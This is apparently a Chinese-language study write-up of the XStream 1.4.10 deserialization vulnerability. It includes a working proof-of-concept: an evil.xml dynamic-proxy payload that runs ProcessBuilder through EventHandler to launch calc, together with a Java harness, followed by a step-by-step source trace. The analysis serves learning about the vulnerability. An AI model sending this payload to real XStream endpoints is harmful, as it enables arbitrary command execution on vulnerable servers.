目录
简介
原理
复现
具体分析之前
我们反序列化了个什么?
XStream反序列化的朴素通识
具体分析
第一步:unmarshal解组
第二步:readClassType获取动态代理类的Class对象
第三步:调用convertAnother对动态代理类进行实例化
第四步:调用动态代理类方法触发invoke
前文:【Java】萌新的XStream反序列化常用api学习笔记-CSDN博客
简介
XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然
原理
XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器。
该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法。
利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。
复现
导入pom依赖
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>
</dependencies>
exp
package com.XStream;
import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class Interface {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream fis = new FileInputStream("evil.xml");
XStream xStream = new XStream();
Runnable r = (Runnable) xStream.fromXML(fis);
r.run();
}
}
evil.xml
<dynamic-proxy>
<interface>java.lang.Runnable</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
具体分析之前
我们反序列化了个什么?
okok,wait wait wait!我们先不聊XStream反序列化的流程,不妨从结果入手,先了解我们最后反序列化得到了什么?
关注回evil.xml
<dynamic-proxy>
<interface>java.lang.Runnable</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
做一个简单解读:
这段 XML 配置信息表示了一个动态代理对象,该代理对象实现了 Runnable
接口,通过 EventHandler
处理程序代理 ProcessBuilder
类的实例,并在调用代理对象的方法时执行 ProcessBuilder
的 start
方法来启动计算器程序(calc
)。这种配置可以用于动态地创建代理对象并执行特定的操作。
总而言之,不难看出这段xml经过反序列化得到的是一个动态代理类,其handler为EventHandler,handler的target为ProcessBuilder,action为start。
【Java】小白必须要懂的关于反射的极简基础知识-CSDN博客
这篇文章的最后有讲到,ProcessBuilder.start会进行命令执行操作,不难猜测,EventHandler可实现任意函数反射调用(调用target对象的action方法),我们的期望就是通过动态代理一个接口交由EventHandler处理最后进行命令执行。
而动态代理类所执行的所有方法都会交由invoke来处理,所以我们只要找到靶机上存在方法调用的接口,就可以实现“动态代理注入”,也正是因此,exp里需要手动调用反序列化对象的interface里面声明的方法。(但必须要知道目标会调用哪个接口其实也是一种缺陷,我们在下一篇文章会予以解决)
XStream反序列化的朴素通识
①XStream反序列化简化来说就三步
MarshallingStrategy.unmarshal解组->调用HierarchicalStreams.readClassType获取待反序列化类的Class对象->调用convertAnother对该类进行实例化
②XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。
转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。
简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。
转换器需要实现3个方法:
- canConvert方法:告诉XStream对象,它能够转换的对象;
- marshal方法:能够将对象转换为XML时候的具体操作;
- unmarshal方法:能够将XML转换为对象时的具体操作;
我们这里利用的DynamicProxyConverter就是转换器的一种
具体分析
第一步:unmarshal解组
先是从fromXML开始跟进一堆unmarshal来到context.start
第二步:readClassType获取动态代理类的Class对象
跟进context.start,发现先是调用HierarchicalStreams.readClassType获取type(即待反序列化类的信息)
跟进readClassType,发现取到classAttribute(类属性)为dynamic-proxy,且mapper为CachingMapper,调用CachingMapper#realClass
跟进CachingMapper#realClass
这里要注意,elementName始终为dynamic-proxy,而mapper.realClass的逻辑是自子类向上到父类查找的,最终会走到DynamicProxyMapper#realClass(见下面一串图)
最后来到 DynamicProxyMapper#realClass,跟进
注意到elementName和this.alias是相等的,所以最后type取到的返回值就是DynamicProxy.class
可以看到取到type为Class@1256
第三步:调用convertAnother对动态代理类进行实例化
紧接着上面,我们将取到的type(Class@1256)传进convertAnother来进行实例化
这里简单跟一跟就行
converterLookup.lookupConverterForType()的逻辑是,迭代this.converter,直到找到能转换出DynamicProxy.class的converter,最终取到关键converter——DynamicProxyConverter,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象
接着调用DynamicProxyConverter#unmarshal
这里直接放源码吧
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
List interfaces = new ArrayList();
InvocationHandler handler = null;
Class handlerType;
for(handlerType = null; reader.hasMoreChildren(); reader.moveUp()) {
reader.moveDown();
String elementName = reader.getNodeName();
if (elementName.equals("interface")) {
interfaces.add(this.mapper.realClass(reader.getValue()));
} else if (elementName.equals("handler")) {
String attributeName = this.mapper.aliasForSystemAttribute("class");
if (attributeName != null) {
handlerType = this.mapper.realClass(reader.getAttribute(attributeName));
break;
}
}
}
if (handlerType == null) {
throw new ConversionException("No InvocationHandler specified for dynamic proxy");
} else {
Class[] interfacesAsArray = new Class[interfaces.size()];
interfaces.toArray(interfacesAsArray);
Object proxy = null;
if (HANDLER != null) {
proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, DUMMY);
}
handler = (InvocationHandler)context.convertAnother(proxy, handlerType);
reader.moveUp();
if (HANDLER != null) {
Fields.write(HANDLER, proxy, handler);
} else {
proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, handler);
}
return proxy;
}
}
进行一波解读:
-
在方法内部,首先创建了一个空的接口列表
interfaces
和一个空的InvocationHandler
变量handler
。 -
接着进入一个循环,通过遍历 XML 的结构来读取数据。在循环中,首先判断是否还有子元素,然后移动到子元素,获取节点名称并根据节点名称进行不同的处理。
-
如果节点名称是 "interface",则将其对应的接口添加到接口列表中。
-
如果节点名称是 "handler",则尝试获取属性名为 "class" 的属性值作为处理程序的类型,并将其赋给
handlerType
变量,然后跳出循环。 -
将接口列表转换为数组,并使用
Proxy.newProxyInstance
方法创建代理对象proxy
,同时获取并实例化相应的InvocationHandler
。 -
进行最终的代理对象的赋值,并返回代理对象。
总之就是对interface属性走了一遍第二步(获取Class对象),对handler属性走了一遍第二步和第三步(获取Class对象&实例化),最后实例化了一个动态代理类(关于handler中其他属性的还原道理是一样的,不再赘述)
得到的动态代理类如下:
第四步:调用动态代理类方法触发invoke
得到实例化类r之后,我们调用其接口(java.lang.Runnable)的已知方法run
如图
成功触发EventHandler#invoke
跟进invokeInternal
Method targetMethod = Statement.getMethod(
target.getClass(), action, argTypes);
取到targetMethod为handler的action属性,即start
target为ProcessBuilder,最终实现了对ProcessBuilder#start的调用,执行任意命令